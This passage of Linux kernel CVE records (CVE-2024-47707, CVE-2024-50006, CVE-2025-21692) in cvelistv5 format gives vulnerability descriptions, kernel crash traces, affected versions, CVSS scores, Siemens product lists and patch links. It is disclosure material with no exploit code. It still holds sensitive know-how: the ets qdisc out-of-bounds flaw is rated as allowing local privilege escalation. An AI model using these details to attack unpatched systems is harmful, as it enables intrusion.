__do_sys_exit_group kernel/exit.c:1042 [inline]\n  __se_sys_exit_group kernel/exit.c:1040 [inline]\n  __x64_sys_exit_group+0x3f/0x40 kernel/exit.c:1040\n  x64_sys_call+0x2634/0x2640 arch/x86/include/generated/asm/syscalls_64.h:232\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f1acc77def9\nCode: Unable to access opcode bytes at 0x7f1acc77decf.\nRSP: 002b:00007ffeb26fa738 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\nRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1acc77def9\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000043\nRBP: 00007f1acc7dd508 R08: 00007ffeb26f84d7 R09: 0000000000000003\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001\nR13: 0000000000000003 R14: 00000000ffffffff R15: 00007ffeb26fa8e0\n \u003c/TASK\u003e\nModules linked in:\n---[ end trace 0000000000000000 ]---\n RIP: 0010:rt6_uncached_list_flush_dev net/ipv6/route.c:177 [inline]\n RIP: 0010:rt6_disable_ip+0x33e/0x7e0 net/ipv6/route.c:4914\nCode: 41 80 3c 04 00 74 0a e8 90 d0 9b f7 48 8b 7c 24 08 48 8b 07 48 89 44 24 10 4c 89 f0 48 c1 e8 03 48 b9 00 00 00 00 00 fc ff df \u003c80\u003e 3c 08 00 74 08 4c 89 f7 e8 64 d0 9b f7 48 8b 44 24 18 49 39 06\nRSP: 0018:ffffc900047374e0 EFLAGS: 00010246\nRAX: 0000000000000000 RBX: 1ffff1100fdf8f33 RCX: dffffc0000000000\nRDX: 0000000000000000 RSI: 0000000000000004 RDI: ffff88807efc78c0\nR\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:13.887Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a61a174280dad99f25a7dee920310885daf2552b"
        },
        {
          "url": "https://git.kernel.org/stable/c/8a8b83016f06805775db099c8377024b6fa5b975"
        },
        {
          "url": "https://git.kernel.org/stable/c/e43dd28405e6b9935279996725ee11e6306547a5"
        },
        {
          "url": "https://git.kernel.org/stable/c/f2bd9635543ca41533b870f420872819f8331823"
        },
        {
          "url": "https://git.kernel.org/stable/c/0ceb2f2b5c813f932d6e60d3feec5e7e713da783"
        },
        {
          "url": "https://git.kernel.org/stable/c/9a0ddc73be37d19dff1ba08290af34e707d18e50"
        },
        {
          "url": "https://git.kernel.org/stable/c/08409e401622e2896b4313be9f781bde8a2a6a53"
        },
        {
          "url": "https://git.kernel.org/stable/c/04ccecfa959d3b9ae7348780d8e379c6486176ac"
        }
      ],
      "title": "ipv6: avoid possible NULL deref in rt6_uncached_list_flush_dev()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47707",
    "datePublished": "2024-10-21T11:53:41.417Z",
    "dateReserved": "2024-09-30T16:00:12.946Z",
    "dateUpdated": "2026-05-12T11:58:35.266Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50006 (GCVE-0-2024-50006)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:53 – Updated: 2026-05-12 11:59

Title

ext4: fix i_data_sem unlock order in ext4_ind_migrate()

Summary

In the Linux kernel, the following vulnerability has been resolved: ext4: fix i_data_sem unlock order in ext4_ind_migrate() Fuzzing reports a possible deadlock in jbd2_log_wait_commit. This issue is triggered when an EXT4_IOC_MIGRATE ioctl is set to require synchronous updates because the file descriptor is opened with O_SYNC. This can lead to the jbd2_journal_stop() function calling jbd2_might_wait_for_commit(), potentially causing a deadlock if the EXT4_IOC_MIGRATE call races with a write(2) system call. This problem only arises when CONFIG_PROVE_LOCKING is enabled. In this case, the jbd2_might_wait_for_commit macro locks jbd2_handle in the jbd2_journal_stop function while i_data_sem is locked. This triggers lockdep because the jbd2_journal_start function might also lock the same jbd2_handle simultaneously. Found by Linux Verification Center (linuxtesting.org) with syzkaller. Rule: add

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/4192adefc9c570698…
https://git.kernel.org/stable/c/3c46d6060d3e38de2…
https://git.kernel.org/stable/c/53b1999cfd2c7addf…
https://git.kernel.org/stable/c/ef05572da0c0eb896…
https://git.kernel.org/stable/c/9fedf51ab8cf7b69b…
https://git.kernel.org/stable/c/d43776b907659affe…
https://git.kernel.org/stable/c/6252cb6bde7fc76cb…
https://git.kernel.org/stable/c/d58a00e981d3118b9…
https://git.kernel.org/stable/c/cc749e61c011c255d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e8238f9a8339b3578c85e4192a7a23bc2bdc0333 , < 4192adefc9c570698821c5eb9873320eac2fcbf1 (git) Affected: e8238f9a8339b3578c85e4192a7a23bc2bdc0333 , < 3c46d6060d3e38de22196c1fe7706c5a3c696285 (git) Affected: e8238f9a8339b3578c85e4192a7a23bc2bdc0333 , < 53b1999cfd2c7addf2e581a32865fe8835467b44 (git) Affected: e8238f9a8339b3578c85e4192a7a23bc2bdc0333 , < ef05572da0c0eb89614ed01cc17d3c882bdbd1ff (git) Affected: e8238f9a8339b3578c85e4192a7a23bc2bdc0333 , < 9fedf51ab8cf7b69bff08f37fe0989fec7f5d870 (git) Affected: e8238f9a8339b3578c85e4192a7a23bc2bdc0333 , < d43776b907659affef1de888525847d64b244194 (git) Affected: e8238f9a8339b3578c85e4192a7a23bc2bdc0333 , < 6252cb6bde7fc76cb8dcb49d1def7c326b190820 (git) Affected: e8238f9a8339b3578c85e4192a7a23bc2bdc0333 , < d58a00e981d3118b91d503da263e640b7cde6729 (git) Affected: e8238f9a8339b3578c85e4192a7a23bc2bdc0333 , < cc749e61c011c255d81b192a822db650c68b313f (git)
Linux	Linux	Affected: 3.10 Unaffected: 0 , < 3.10 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50006",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:29:18.943550Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:40.371Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:21.923Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:44.219Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/migrate.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4192adefc9c570698821c5eb9873320eac2fcbf1",
              "status": "affected",
              "version": "e8238f9a8339b3578c85e4192a7a23bc2bdc0333",
              "versionType": "git"
            },
            {
              "lessThan": "3c46d6060d3e38de22196c1fe7706c5a3c696285",
              "status": "affected",
              "version": "e8238f9a8339b3578c85e4192a7a23bc2bdc0333",
              "versionType": "git"
            },
            {
              "lessThan": "53b1999cfd2c7addf2e581a32865fe8835467b44",
              "status": "affected",
              "version": "e8238f9a8339b3578c85e4192a7a23bc2bdc0333",
              "versionType": "git"
            },
            {
              "lessThan": "ef05572da0c0eb89614ed01cc17d3c882bdbd1ff",
              "status": "affected",
              "version": "e8238f9a8339b3578c85e4192a7a23bc2bdc0333",
              "versionType": "git"
            },
            {
              "lessThan": "9fedf51ab8cf7b69bff08f37fe0989fec7f5d870",
              "status": "affected",
              "version": "e8238f9a8339b3578c85e4192a7a23bc2bdc0333",
              "versionType": "git"
            },
            {
              "lessThan": "d43776b907659affef1de888525847d64b244194",
              "status": "affected",
              "version": "e8238f9a8339b3578c85e4192a7a23bc2bdc0333",
              "versionType": "git"
            },
            {
              "lessThan": "6252cb6bde7fc76cb8dcb49d1def7c326b190820",
              "status": "affected",
              "version": "e8238f9a8339b3578c85e4192a7a23bc2bdc0333",
              "versionType": "git"
            },
            {
              "lessThan": "d58a00e981d3118b91d503da263e640b7cde6729",
              "status": "affected",
              "version": "e8238f9a8339b3578c85e4192a7a23bc2bdc0333",
              "versionType": "git"
            },
            {
              "lessThan": "cc749e61c011c255d81b192a822db650c68b313f",
              "status": "affected",
              "version": "e8238f9a8339b3578c85e4192a7a23bc2bdc0333",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/migrate.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.10"
            },
            {
              "lessThan": "3.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix i_data_sem unlock order in ext4_ind_migrate()\n\nFuzzing reports a possible deadlock in jbd2_log_wait_commit.\n\nThis issue is triggered when an EXT4_IOC_MIGRATE ioctl is set to require\nsynchronous updates because the file descriptor is opened with O_SYNC.\nThis can lead to the jbd2_journal_stop() function calling\njbd2_might_wait_for_commit(), potentially causing a deadlock if the\nEXT4_IOC_MIGRATE call races with a write(2) system call.\n\nThis problem only arises when CONFIG_PROVE_LOCKING is enabled. In this\ncase, the jbd2_might_wait_for_commit macro locks jbd2_handle in the\njbd2_journal_stop function while i_data_sem is locked. This triggers\nlockdep because the jbd2_journal_start function might also lock the same\njbd2_handle simultaneously.\n\nFound by Linux Verification Center (linuxtesting.org) with syzkaller.\n\nRule: add"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:43:43.427Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4192adefc9c570698821c5eb9873320eac2fcbf1"
        },
        {
          "url": "https://git.kernel.org/stable/c/3c46d6060d3e38de22196c1fe7706c5a3c696285"
        },
        {
          "url": "https://git.kernel.org/stable/c/53b1999cfd2c7addf2e581a32865fe8835467b44"
        },
        {
          "url": "https://git.kernel.org/stable/c/ef05572da0c0eb89614ed01cc17d3c882bdbd1ff"
        },
        {
          "url": "https://git.kernel.org/stable/c/9fedf51ab8cf7b69bff08f37fe0989fec7f5d870"
        },
        {
          "url": "https://git.kernel.org/stable/c/d43776b907659affef1de888525847d64b244194"
        },
        {
          "url": "https://git.kernel.org/stable/c/6252cb6bde7fc76cb8dcb49d1def7c326b190820"
        },
        {
          "url": "https://git.kernel.org/stable/c/d58a00e981d3118b91d503da263e640b7cde6729"
        },
        {
          "url": "https://git.kernel.org/stable/c/cc749e61c011c255d81b192a822db650c68b313f"
        }
      ],
      "title": "ext4: fix i_data_sem unlock order in ext4_ind_migrate()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50006",
    "datePublished": "2024-10-21T18:53:59.938Z",
    "dateReserved": "2024-10-21T12:17:06.060Z",
    "dateUpdated": "2026-05-12T11:59:44.219Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21692 (GCVE-0-2025-21692)

Vulnerability from cvelistv5 – Published: 2025-02-10 15:58 – Updated: 2026-05-12 12:03

Title

net: sched: fix ets qdisc OOB Indexing

Summary

In the Linux kernel, the following vulnerability has been resolved: net: sched: fix ets qdisc OOB Indexing Haowei Yan <g1042620637@gmail.com> found that ets_class_from_arg() can index an Out-Of-Bound class in ets_class_from_arg() when passed clid of 0. The overflow may cause local privilege escalation. [ 18.852298] ------------[ cut here ]------------ [ 18.853271] UBSAN: array-index-out-of-bounds in net/sched/sch_ets.c:93:20 [ 18.853743] index 18446744073709551615 is out of range for type 'ets_class [16]' [ 18.854254] CPU: 0 UID: 0 PID: 1275 Comm: poc Not tainted 6.12.6-dirty #17 [ 18.854821] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 [ 18.856532] Call Trace: [ 18.857441] <TASK> [ 18.858227] dump_stack_lvl+0xc2/0xf0 [ 18.859607] dump_stack+0x10/0x20 [ 18.860908] __ubsan_handle_out_of_bounds+0xa7/0xf0 [ 18.864022] ets_class_change+0x3d6/0x3f0 [ 18.864322] tc_ctl_tclass+0x251/0x910 [ 18.864587] ? lock_acquire+0x5e/0x140 [ 18.865113] ? __mutex_lock+0x9c/0xe70 [ 18.866009] ? __mutex_lock+0xa34/0xe70 [ 18.866401] rtnetlink_rcv_msg+0x170/0x6f0 [ 18.866806] ? __lock_acquire+0x578/0xc10 [ 18.867184] ? __pfx_rtnetlink_rcv_msg+0x10/0x10 [ 18.867503] netlink_rcv_skb+0x59/0x110 [ 18.867776] rtnetlink_rcv+0x15/0x30 [ 18.868159] netlink_unicast+0x1c3/0x2b0 [ 18.868440] netlink_sendmsg+0x239/0x4b0 [ 18.868721] ____sys_sendmsg+0x3e2/0x410 [ 18.869012] ___sys_sendmsg+0x88/0xe0 [ 18.869276] ? rseq_ip_fixup+0x198/0x260 [ 18.869563] ? rseq_update_cpu_node_id+0x10a/0x190 [ 18.869900] ? trace_hardirqs_off+0x5a/0xd0 [ 18.870196] ? syscall_exit_to_user_mode+0xcc/0x220 [ 18.870547] ? do_syscall_64+0x93/0x150 [ 18.870821] ? __memcg_slab_free_hook+0x69/0x290 [ 18.871157] __sys_sendmsg+0x69/0xd0 [ 18.871416] __x64_sys_sendmsg+0x1d/0x30 [ 18.871699] x64_sys_call+0x9e2/0x2670 [ 18.871979] do_syscall_64+0x87/0x150 [ 18.873280] ? do_syscall_64+0x93/0x150 [ 18.874742] ? lock_release+0x7b/0x160 [ 18.876157] ? do_user_addr_fault+0x5ce/0x8f0 [ 18.877833] ? irqentry_exit_to_user_mode+0xc2/0x210 [ 18.879608] ? irqentry_exit+0x77/0xb0 [ 18.879808] ? clear_bhb_loop+0x15/0x70 [ 18.880023] ? clear_bhb_loop+0x15/0x70 [ 18.880223] ? clear_bhb_loop+0x15/0x70 [ 18.880426] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 18.880683] RIP: 0033:0x44a957 [ 18.880851] Code: ff ff e8 fc 00 00 00 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 89 54 24 1c 48 8974 24 10 [ 18.881766] RSP: 002b:00007ffcdd00fad8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e [ 18.882149] RAX: ffffffffffffffda RBX: 00007ffcdd010db8 RCX: 000000000044a957 [ 18.882507] RDX: 0000000000000000 RSI: 00007ffcdd00fb70 RDI: 0000000000000003 [ 18.885037] RBP: 00007ffcdd010bc0 R08: 000000000703c770 R09: 000000000703c7c0 [ 18.887203] R10: 0000000000000080 R11: 0000000000000246 R12: 0000000000000001 [ 18.888026] R13: 00007ffcdd010da8 R14: 00000000004ca7d0 R15: 0000000000000001 [ 18.888395] </TASK> [ 18.888610] ---[ end trace ]---

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-129 - Improper Validation of Array Index

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/03c56665dab1f4ac8…
https://git.kernel.org/stable/c/bcf0d815e728a3a30…
https://git.kernel.org/stable/c/1332c6ed446be787f…
https://git.kernel.org/stable/c/f4168299e553f17aa…
https://git.kernel.org/stable/c/997f6ec4208b23c87…
https://git.kernel.org/stable/c/f6b0f05fbfa4044f8…
https://git.kernel.org/stable/c/d62b04fca4340a0d4…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33 , < 03c56665dab1f4ac844bc156652d50d639093fa5 (git) Affected: dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33 , < bcf0d815e728a3a304b50455b32a3170c16e1eaa (git) Affected: dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33 , < 1332c6ed446be787f901ed1064ec6a3c694f028a (git) Affected: dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33 , < f4168299e553f17aa2ba4016e77a9c38da40eb1d (git) Affected: dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33 , < 997f6ec4208b23c87daf9f044689685f091826f7 (git) Affected: dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33 , < f6b0f05fbfa4044f890e8a348288c0d9a20bd1d0 (git) Affected: dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33 , < d62b04fca4340a0d468d7853bd66e511935a18cb (git)
Linux	Linux	Affected: 5.6 Unaffected: 0 , < 5.6 (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.178 , ≤ 5.15.* (semver) Unaffected: 6.1.128 , ≤ 6.1.* (semver) Unaffected: 6.6.75 , ≤ 6.6.* (semver) Unaffected: 6.12.12 , ≤ 6.12.* (semver) Unaffected: 6.13.1 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21692",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:51:24.646401Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-129",
                "description": "CWE-129 Improper Validation of Array Index",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:57:10.054Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:59:14.944Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:12.985Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_ets.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "03c56665dab1f4ac844bc156652d50d639093fa5",
              "status": "affected",
              "version": "dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33",
              "versionType": "git"
            },
            {
              "lessThan": "bcf0d815e728a3a304b50455b32a3170c16e1eaa",
              "status": "affected",
              "version": "dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33",
              "versionType": "git"
            },
            {
              "lessThan": "1332c6ed446be787f901ed1064ec6a3c694f028a",
              "status": "affected",
              "version": "dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33",
              "versionType": "git"
            },
            {
              "lessThan": "f4168299e553f17aa2ba4016e77a9c38da40eb1d",
              "status": "affected",
              "version": "dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33",
              "versionType": "git"
            },
            {
              "lessThan": "997f6ec4208b23c87daf9f044689685f091826f7",
              "status": "affected",
              "version": "dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33",
              "versionType": "git"
            },
            {
              "lessThan": "f6b0f05fbfa4044f890e8a348288c0d9a20bd1d0",
              "status": "affected",
              "version": "dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33",
              "versionType": "git"
            },
            {
              "lessThan": "d62b04fca4340a0d468d7853bd66e511935a18cb",
              "status": "affected",
              "version": "dcc68b4d8084e1ac9af0d4022d6b1aff6a139a33",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_ets.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
